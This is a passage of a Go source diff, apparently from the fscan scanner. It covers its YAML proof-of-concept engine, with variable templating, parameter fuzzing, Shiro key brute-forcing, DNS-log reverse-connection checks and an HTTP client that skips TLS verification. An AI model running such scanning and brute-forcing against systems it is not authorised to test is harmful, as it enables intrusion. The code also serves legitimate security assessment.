return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), ""
|
||||
}
|
||||
|
||||
// 初始化变量映射
|
||||
variableMap := make(map[string]interface{})
|
||||
defer func() { variableMap = nil }()
|
||||
variableMap["request"] = req
|
||||
|
||||
// 处理设置项
|
||||
for _, item := range p.Set {
|
||||
key, expression := item.Key, item.Value
|
||||
if expression == "newReverse()" {
|
||||
if !Common.DnsLog {
|
||||
return false, nil, ""
|
||||
}
|
||||
variableMap[key] = newReverse()
|
||||
continue
|
||||
}
|
||||
if err, _ = evalset(env, variableMap, key, expression); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err))
|
||||
}
|
||||
}
|
||||
|
||||
// 处理爆破模式
|
||||
if len(p.Sets) > 0 {
|
||||
success, err := clusterpoc(oReq, p, variableMap, req, env)
|
||||
return success, err, ""
|
||||
}
|
||||
|
||||
// 处理单个规则的函数
|
||||
DealWithRule := func(rule Rules) (bool, error) {
|
||||
Headers := cloneMap(rule.Headers)
|
||||
|
||||
// 替换变量
|
||||
for varName, varValue := range variableMap {
|
||||
if _, isMap := varValue.(map[string]string); isMap {
|
||||
continue
|
||||
}
|
||||
strValue := fmt.Sprintf("%v", varValue)
|
||||
|
||||
// 替换Header中的变量
|
||||
for headerKey, headerValue := range Headers {
|
||||
if strings.Contains(headerValue, "{{"+varName+"}}") {
|
||||
Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue)
|
||||
}
|
||||
}
|
||||
|
||||
// 替换Path和Body中的变量
|
||||
rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue)
|
||||
rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue)
|
||||
}
|
||||
|
||||
// 构建请求路径
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
|
||||
// 创建新的请求
|
||||
newRequest, err := http.NewRequest(
|
||||
rule.Method,
|
||||
fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))),
|
||||
strings.NewReader(rule.Body),
|
||||
)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("创建新请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 设置请求头
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
Headers = nil
|
||||
|
||||
// 发送请求
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
variableMap["response"] = resp
|
||||
|
||||
// 执行搜索规则
|
||||
if rule.Search != "" {
|
||||
result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
|
||||
if len(result) == 0 {
|
||||
return false, nil
|
||||
}
|
||||
for k, v := range result {
|
||||
variableMap[k] = v
|
||||
}
|
||||
}
|
||||
|
||||
// 执行表达式
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if flag, ok := out.Value().(bool); ok {
|
||||
return flag, nil
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// 处理规则组的函数
|
||||
DealWithRules := func(rules []Rules) bool {
|
||||
for _, rule := range rules {
|
||||
flag, err := DealWithRule(rule)
|
||||
if err != nil || !flag {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// 执行检测规则
|
||||
success := false
|
||||
if len(p.Rules) > 0 {
|
||||
success = DealWithRules(p.Rules)
|
||||
} else {
|
||||
for _, item := range p.Groups {
|
||||
name, rules := item.Key, item.Value
|
||||
if success = DealWithRules(rules); success {
|
||||
return true, nil, name
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return success, nil, ""
|
||||
}
|
||||
|
||||
// doSearch 在响应体中执行正则匹配并提取命名捕获组
|
||||
func doSearch(re string, body string) map[string]string {
|
||||
// 编译正则表达式
|
||||
r, err := regexp.Compile(re)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err))
|
||||
return nil
|
||||
}
|
||||
|
||||
// 执行正则匹配
|
||||
result := r.FindStringSubmatch(body)
|
||||
names := r.SubexpNames()
|
||||
|
||||
// 处理匹配结果
|
||||
if len(result) > 1 && len(names) > 1 {
|
||||
paramsMap := make(map[string]string)
|
||||
for i, name := range names {
|
||||
if i > 0 && i <= len(result) {
|
||||
// 特殊处理Cookie头
|
||||
if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
|
||||
paramsMap[name] = optimizeCookies(result[i])
|
||||
} else {
|
||||
paramsMap[name] = result[i]
|
||||
}
|
||||
}
|
||||
}
|
||||
return paramsMap
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// optimizeCookies 优化Cookie字符串,移除不必要的属性
|
||||
func optimizeCookies(rawCookie string) string {
|
||||
var output strings.Builder
|
||||
|
||||
// 解析Cookie键值对
|
||||
pairs := strings.Split(rawCookie, "; ")
|
||||
for _, pair := range pairs {
|
||||
nameVal := strings.SplitN(pair, "=", 2)
|
||||
if len(nameVal) < 2 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 跳过Cookie属性
|
||||
switch strings.ToLower(nameVal[0]) {
|
||||
case "expires", "max-age", "path", "domain",
|
||||
"version", "comment", "secure", "samesite", "httponly":
|
||||
continue
|
||||
}
|
||||
|
||||
// 构建Cookie键值对
|
||||
if output.Len() > 0 {
|
||||
output.WriteString("; ")
|
||||
}
|
||||
output.WriteString(nameVal[0])
|
||||
output.WriteString("=")
|
||||
output.WriteString(strings.Join(nameVal[1:], "="))
|
||||
}
|
||||
|
||||
return output.String()
|
||||
}
|
||||
|
||||
// newReverse 创建新的反连检测对象
|
||||
func newReverse() *Reverse {
|
||||
// 检查DNS日志功能是否启用
|
||||
if !Common.DnsLog {
|
||||
return &Reverse{}
|
||||
}
|
||||
|
||||
// 生成随机子域名
|
||||
const (
|
||||
letters = "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
subdomainLength = 8
|
||||
)
|
||||
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
subdomain := RandomStr(randSource, letters, subdomainLength)
|
||||
|
||||
// 构建URL
|
||||
urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain)
|
||||
u, err := url.Parse(urlStr)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err))
|
||||
return &Reverse{}
|
||||
}
|
||||
|
||||
// 返回反连检测配置
|
||||
return &Reverse{
|
||||
Url: urlStr,
|
||||
Domain: u.Hostname(),
|
||||
Ip: u.Host,
|
||||
IsDomainNameServer: false,
|
||||
}
|
||||
}
|
||||
|
||||
// clusterpoc 执行集群POC检测,支持批量参数组合测试
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||
var strMap StrMap // 存储成功的参数组合
|
||||
var shiroKeyCount int // shiro key测试计数
|
||||
|
||||
// 遍历POC规则
|
||||
for ruleIndex, rule := range p.Rules {
|
||||
// 检查是否需要进行参数Fuzz测试
|
||||
if !isFuzz(rule, p.Sets) {
|
||||
// 不需要Fuzz,直接发送请求
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if !success {
|
||||
return false, err
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 生成参数组合
|
||||
setsMap := Combo(p.Sets)
|
||||
ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表
|
||||
|
||||
// 遍历参数组合
|
||||
paramLoop:
|
||||
for comboIndex, paramCombo := range setsMap {
|
||||
// Shiro Key测试特殊处理:默认只测试10个key
|
||||
if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 {
|
||||
if paramCombo[1] == "cbc" {
|
||||
continue
|
||||
} else {
|
||||
if shiroKeyCount == 0 {
|
||||
shiroKeyCount = comboIndex
|
||||
}
|
||||
if comboIndex-shiroKeyCount >= 10 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 克隆规则以避免相互影响
|
||||
currentRule := cloneRules(rule)
|
||||
var hasReplacement bool
|
||||
var currentParams StrMap
|
||||
payloads := make(map[string]interface{})
|
||||
var payloadExpr string
|
||||
|
||||
// 计算所有参数的实际值
|
||||
for i, set := range p.Sets {
|
||||
key, expr := set.Key, paramCombo[i]
|
||||
if key == "payload" {
|
||||
payloadExpr = expr
|
||||
}
|
||||
_, output := evalset1(env, variableMap, key, expr)
|
||||
payloads[key] = output
|
||||
}
|
||||
|
||||
// 替换规则中的参数
|
||||
for _, set := range p.Sets {
|
||||
paramReplaced := false
|
||||
key := set.Key
|
||||
value := fmt.Sprintf("%v", payloads[key])
|
||||
|
||||
// 替换Header中的参数
|
||||
for headerKey, headerVal := range currentRule.Headers {
|
||||
if strings.Contains(headerVal, "{{"+key+"}}") {
|
||||
currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value)
|
||||
paramReplaced = true
|
||||
}
|
||||
}
|
||||
|
||||
// 替换Path中的参数
|
||||
if strings.Contains(currentRule.Path, "{{"+key+"}}") {
|
||||
currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value)
|
||||
paramReplaced = true
|
||||
}
|
||||
|
||||
// 替换Body中的参数
|
||||
if strings.Contains(currentRule.Body, "{{"+key+"}}") {
|
||||
currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value)
|
||||
paramReplaced = true
|
||||
}
|
||||
|
||||
// 记录替换的参数
|
||||
if paramReplaced {
|
||||
hasReplacement = true
|
||||
if key == "payload" {
|
||||
// 处理payload的特殊情况
|
||||
hasVarInPayload := false
|
||||
for varKey, varVal := range variableMap {
|
||||
if strings.Contains(payloadExpr, varKey) {
|
||||
hasVarInPayload = true
|
||||
currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)})
|
||||
}
|
||||
}
|
||||
if hasVarInPayload {
|
||||
continue
|
||||
}
|
||||
}
|
||||
currentParams = append(currentParams, StrItem{key, value})
|
||||
}
|
||||
}
|
||||
|
||||
// 如果没有参数被替换,跳过当前组合
|
||||
if !hasReplacement {
|
||||
continue
|
||||
}
|
||||
|
||||
// 规则去重
|
||||
ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule)))
|
||||
ruleMD5 := fmt.Sprintf("%x", ruleDigest)
|
||||
if _, exists := ruleHash[ruleMD5]; exists {
|
||||
continue
|
||||
}
|
||||
ruleHash[ruleMD5] = struct{}{}
|
||||
|
||||
// 发送请求并处理结果
|
||||
success, err = clustersend(oReq, variableMap, req, env, currentRule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if success {
|
||||
// 处理成功情况
|
||||
if currentRule.Continue {
|
||||
// 特殊POC的输出处理
|
||||
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams))
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
// 记录成功的参数组合
|
||||
strMap = append(strMap, currentParams...)
|
||||
if ruleIndex == len(p.Rules)-1 {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v",
|
||||
req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
|
||||
return false, nil
|
||||
}
|
||||
break paramLoop
|
||||
}
|
||||
}
|
||||
|
||||
if !success {
|
||||
break
|
||||
}
|
||||
if rule.Continue {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
return success, nil
|
||||
}
|
||||
|
||||
// isFuzz 检查规则是否包含需要Fuzz测试的参数
|
||||
func isFuzz(rule Rules, Sets ListMap) bool {
|
||||
// 遍历所有参数
|
||||
for _, param := range Sets {
|
||||
key := param.Key
|
||||
paramPattern := "{{" + key + "}}"
|
||||
|
||||
// 检查Headers中是否包含参数
|
||||
for _, headerValue := range rule.Headers {
|
||||
if strings.Contains(headerValue, paramPattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查Path中是否包含参数
|
||||
if strings.Contains(rule.Path, paramPattern) {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查Body中是否包含参数
|
||||
if strings.Contains(rule.Body, paramPattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// Combo 生成参数组合
|
||||
func Combo(input ListMap) [][]string {
|
||||
if len(input) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 处理只有一个参数的情况
|
||||
if len(input) == 1 {
|
||||
output := make([][]string, 0, len(input[0].Value))
|
||||
for _, value := range input[0].Value {
|
||||
output = append(output, []string{value})
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
// 递归处理多个参数的情况
|
||||
subCombos := Combo(input[1:])
|
||||
return MakeData(subCombos, input[0].Value)
|
||||
}
|
||||
|
||||
// MakeData 将新的参数值与已有的组合进行组合
|
||||
func MakeData(base [][]string, nextData []string) [][]string {
|
||||
// 预分配足够的空间
|
||||
output := make([][]string, 0, len(base)*len(nextData))
|
||||
|
||||
// 遍历已有组合和新参数值
|
||||
for _, existingCombo := range base {
|
||||
for _, newValue := range nextData {
|
||||
// 创建新组合
|
||||
newCombo := make([]string, 0, len(existingCombo)+1)
|
||||
newCombo = append(newCombo, newValue)
|
||||
newCombo = append(newCombo, existingCombo...)
|
||||
output = append(output, newCombo)
|
||||
}
|
||||
}
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
// clustersend 执行单个规则的HTTP请求和响应检测
|
||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
||||
// 替换请求中的变量
|
||||
for varName, varValue := range variableMap {
|
||||
// 跳过map类型的变量
|
||||
if _, isMap := varValue.(map[string]string); isMap {
|
||||
continue
|
||||
}
|
||||
|
||||
strValue := fmt.Sprintf("%v", varValue)
|
||||
varPattern := "{{" + varName + "}}"
|
||||
|
||||
// 替换Headers中的变量
|
||||
for headerKey, headerValue := range rule.Headers {
|
||||
if strings.Contains(headerValue, varPattern) {
|
||||
rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue)
|
||||
}
|
||||
}
|
||||
|
||||
// 替换Path和Body中的变量
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue)
|
||||
}
|
||||
|
||||
// 构建完整请求路径
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
||||
} else {
|
||||
req.Url.Path = rule.Path
|
||||
}
|
||||
|
||||
// URL编码处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
|
||||
// 创建新的HTTP请求
|
||||
reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path)
|
||||
newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err)
|
||||
}
|
||||
defer func() { newRequest = nil }() // 及时释放资源
|
||||
|
||||
// 设置请求头
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for key, value := range rule.Headers {
|
||||
newRequest.Header.Set(key, value)
|
||||
}
|
||||
|
||||
// 发送请求
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("[-] 发送请求失败: %v", err)
|
||||
}
|
||||
|
||||
// 更新响应到变量映射
|
||||
variableMap["response"] = resp
|
||||
|
||||
// 执行搜索规则
|
||||
if rule.Search != "" {
|
||||
searchContent := GetHeader(resp.Headers) + string(resp.Body)
|
||||
result := doSearch(rule.Search, searchContent)
|
||||
|
||||
if result != nil && len(result) > 0 {
|
||||
// 将搜索结果添加到变量映射
|
||||
for key, value := range result {
|
||||
variableMap[key] = value
|
||||
}
|
||||
} else {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
// 执行CEL表达式
|
||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
||||
if err != nil {
|
||||
if strings.Contains(err.Error(), "Syntax error") {
|
||||
Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err))
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
|
||||
// 检查表达式执行结果
|
||||
if fmt.Sprintf("%v", out) == "false" {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
// cloneRules 深度复制Rules结构体
|
||||
// 参数:
|
||||
// - tags: 原始Rules结构体
|
||||
// 返回: 复制后的新Rules结构体
|
||||
func cloneRules(tags Rules) Rules {
|
||||
return Rules{
|
||||
Method: tags.Method,
|
||||
Path: tags.Path,
|
||||
Body: tags.Body,
|
||||
Search: tags.Search,
|
||||
FollowRedirects: tags.FollowRedirects,
|
||||
Expression: tags.Expression,
|
||||
Headers: cloneMap(tags.Headers),
|
||||
}
|
||||
}
|
||||
|
||||
// cloneMap 深度复制字符串映射
|
||||
func cloneMap(tags map[string]string) map[string]string {
|
||||
cloneTags := make(map[string]string, len(tags))
|
||||
for key, value := range tags {
|
||||
cloneTags[key] = value
|
||||
}
|
||||
return cloneTags
|
||||
}
|
||||
|
||||
// evalset 执行CEL表达式并处理特殊类型结果
|
||||
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
return err, expression
|
||||
}
|
||||
|
||||
// 根据不同类型处理输出
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
|
||||
return nil, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
// evalset1 执行CEL表达式的简化版本
|
||||
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) {
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
variableMap[k] = expression
|
||||
} else {
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
return err, fmt.Sprintf("%v", variableMap[k])
|
||||
}
|
||||
|
||||
// CheckInfoPoc 检查POC信息并返回别名
|
||||
func CheckInfoPoc(infostr string) string {
|
||||
for _, poc := range info.PocDatas {
|
||||
if strings.Contains(infostr, poc.Name) {
|
||||
return poc.Alias
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// GetHeader 将HTTP头转换为字符串格式
|
||||
func GetHeader(header map[string]string) string {
|
||||
var builder strings.Builder
|
||||
for name, values := range header {
|
||||
builder.WriteString(fmt.Sprintf("%s: %s\n", name, values))
|
||||
}
|
||||
builder.WriteString("\r\n")
|
||||
return builder.String()
|
||||
}
|
||||
@@ -1,318 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/tls"
|
||||
"embed"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"golang.org/x/net/proxy"
|
||||
"gopkg.in/yaml.v2"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 全局HTTP客户端变量
|
||||
var (
|
||||
Client *http.Client // 标准HTTP客户端
|
||||
ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端
|
||||
dialTimout = 5 * time.Second // 连接超时时间
|
||||
keepAlive = 5 * time.Second // 连接保持时间
|
||||
)
|
||||
|
||||
// Inithttp 初始化HTTP客户端配置
|
||||
func Inithttp() {
|
||||
// 设置默认并发数
|
||||
if Common.PocNum == 0 {
|
||||
Common.PocNum = 20
|
||||
}
|
||||
// 设置默认超时时间
|
||||
if Common.WebTimeout == 0 {
|
||||
Common.WebTimeout = 5
|
||||
}
|
||||
|
||||
// 初始化HTTP客户端
|
||||
err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// InitHttpClient 创建HTTP客户端
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
||||
|
||||
// 配置基础连接参数
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
// 配置Transport参数
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 5,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
|
||||
// 配置Socks5代理
|
||||
if Common.Socks5Proxy != "" {
|
||||
dialSocksProxy, err := Common.Socks5Dialer(dialer)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
|
||||
tr.DialContext = contextDialer.DialContext
|
||||
} else {
|
||||
return errors.New("无法转换为DialContext类型")
|
||||
}
|
||||
} else if DownProxy != "" {
|
||||
// 处理其他代理配置
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if DownProxy == "2" {
|
||||
DownProxy = "socks5://127.0.0.1:1080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
|
||||
// 验证代理类型
|
||||
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
|
||||
return errors.New("不支持的代理类型")
|
||||
}
|
||||
|
||||
// 解析代理URL
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
// 创建标准HTTP客户端
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
|
||||
// 创建不跟随重定向的HTTP客户端
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Poc 定义漏洞检测配置结构
|
||||
type Poc struct {
|
||||
Name string `yaml:"name"` // POC名称
|
||||
Set StrMap `yaml:"set"` // 单值配置映射
|
||||
Sets ListMap `yaml:"sets"` // 列表值配置映射
|
||||
Rules []Rules `yaml:"rules"` // 检测规则列表
|
||||
Groups RuleMap `yaml:"groups"` // 规则组映射
|
||||
Detail Detail `yaml:"detail"` // 漏洞详情
|
||||
}
|
||||
|
||||
// MapSlice 用于解析YAML的通用映射类型
|
||||
type MapSlice = yaml.MapSlice
|
||||
|
||||
// 自定义映射类型
|
||||
type (
|
||||
StrMap []StrItem // 字符串键值对映射
|
||||
ListMap []ListItem // 字符串键列表值映射
|
||||
RuleMap []RuleItem // 字符串键规则列表映射
|
||||
)
|
||||
|
||||
// 映射项结构定义
|
||||
type (
|
||||
// StrItem 字符串键值对
|
||||
StrItem struct {
|
||||
Key string // 键名
|
||||
Value string // 值
|
||||
}
|
||||
|
||||
// ListItem 字符串键列表值对
|
||||
ListItem struct {
|
||||
Key string // 键名
|
||||
Value []string // 值列表
|
||||
}
|
||||
|
||||
// RuleItem 字符串键规则列表对
|
||||
RuleItem struct {
|
||||
Key string // 键名
|
||||
Value []Rules // 规则列表
|
||||
}
|
||||
)
|
||||
|
||||
// UnmarshalYAML 实现StrMap的YAML解析接口
|
||||
func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 临时使用MapSlice存储解析结果
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 转换为StrMap结构
|
||||
for _, one := range tmp {
|
||||
key, value := one.Key.(string), one.Value.(string)
|
||||
*r = append(*r, StrItem{key, value})
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// UnmarshalYAML 实现RuleMap的YAML解析接口
|
||||
// 参数:
|
||||
// - unmarshal: YAML解析函数
|
||||
//
|
||||
// 返回:
|
||||
// - error: 解析错误
|
||||
func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 使用MapSlice保持键的顺序
|
||||
var tmp1 yaml.MapSlice
|
||||
if err := unmarshal(&tmp1); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析规则内容
|
||||
var tmp = make(map[string][]Rules)
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 按顺序转换为RuleMap结构
|
||||
for _, one := range tmp1 {
|
||||
key := one.Key.(string)
|
||||
value := tmp[key]
|
||||
*r = append(*r, RuleItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// UnmarshalYAML 实现ListMap的YAML解析接口
|
||||
// 参数:
|
||||
// - unmarshal: YAML解析函数
|
||||
//
|
||||
// 返回:
|
||||
// - error: 解析错误
|
||||
func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error {
|
||||
// 解析YAML映射
|
||||
var tmp yaml.MapSlice
|
||||
if err := unmarshal(&tmp); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 转换为ListMap结构
|
||||
for _, one := range tmp {
|
||||
key := one.Key.(string)
|
||||
var value []string
|
||||
// 将接口类型转换为字符串
|
||||
for _, val := range one.Value.([]interface{}) {
|
||||
v := fmt.Sprintf("%v", val)
|
||||
value = append(value, v)
|
||||
}
|
||||
*r = append(*r, ListItem{key, value})
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Rules 定义POC检测规则结构
|
||||
type Rules struct {
|
||||
Method string `yaml:"method"` // HTTP请求方法
|
||||
Path string `yaml:"path"` // 请求路径
|
||||
Headers map[string]string `yaml:"headers"` // 请求头
|
||||
Body string `yaml:"body"` // 请求体
|
||||
Search string `yaml:"search"` // 搜索模式
|
||||
FollowRedirects bool `yaml:"follow_redirects"` // 是否跟随重定向
|
||||
Expression string `yaml:"expression"` // 匹配表达式
|
||||
Continue bool `yaml:"continue"` // 是否继续执行
|
||||
}
|
||||
|
||||
// Detail 定义POC详情结构
|
||||
type Detail struct {
|
||||
Author string `yaml:"author"` // POC作者
|
||||
Links []string `yaml:"links"` // 相关链接
|
||||
Description string `yaml:"description"` // POC描述
|
||||
Version string `yaml:"version"` // POC版本
|
||||
}
|
||||
|
||||
// LoadMultiPoc 加载多个POC文件
|
||||
func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc {
|
||||
var pocs []*Poc
|
||||
// 遍历选中的POC文件
|
||||
for _, f := range SelectPoc(Pocs, pocname) {
|
||||
if p, err := LoadPoc(f, Pocs); err == nil {
|
||||
pocs = append(pocs, p)
|
||||
} else {
|
||||
fmt.Printf("[-] POC加载失败 %s: %v\n", f, err)
|
||||
}
|
||||
}
|
||||
return pocs
|
||||
}
|
||||
|
||||
// LoadPoc 从内嵌文件系统加载单个POC
|
||||
func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) {
|
||||
p := &Poc{}
|
||||
// 读取POC文件内容
|
||||
yamlFile, err := Pocs.ReadFile("pocs/" + fileName)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] POC文件读取失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// 解析YAML内容
|
||||
err = yaml.Unmarshal(yamlFile, p)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] POC解析失败 %s: %v\n", fileName, err)
|
||||
return nil, err
|
||||
}
|
||||
return p, err
|
||||
}
|
||||
|
||||
// SelectPoc 根据名称关键字选择POC文件
|
||||
func SelectPoc(Pocs embed.FS, pocname string) []string {
|
||||
entries, err := Pocs.ReadDir("pocs")
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取POC目录失败: %v\n", err)
|
||||
}
|
||||
|
||||
var foundFiles []string
|
||||
// 查找匹配关键字的POC文件
|
||||
for _, entry := range entries {
|
||||
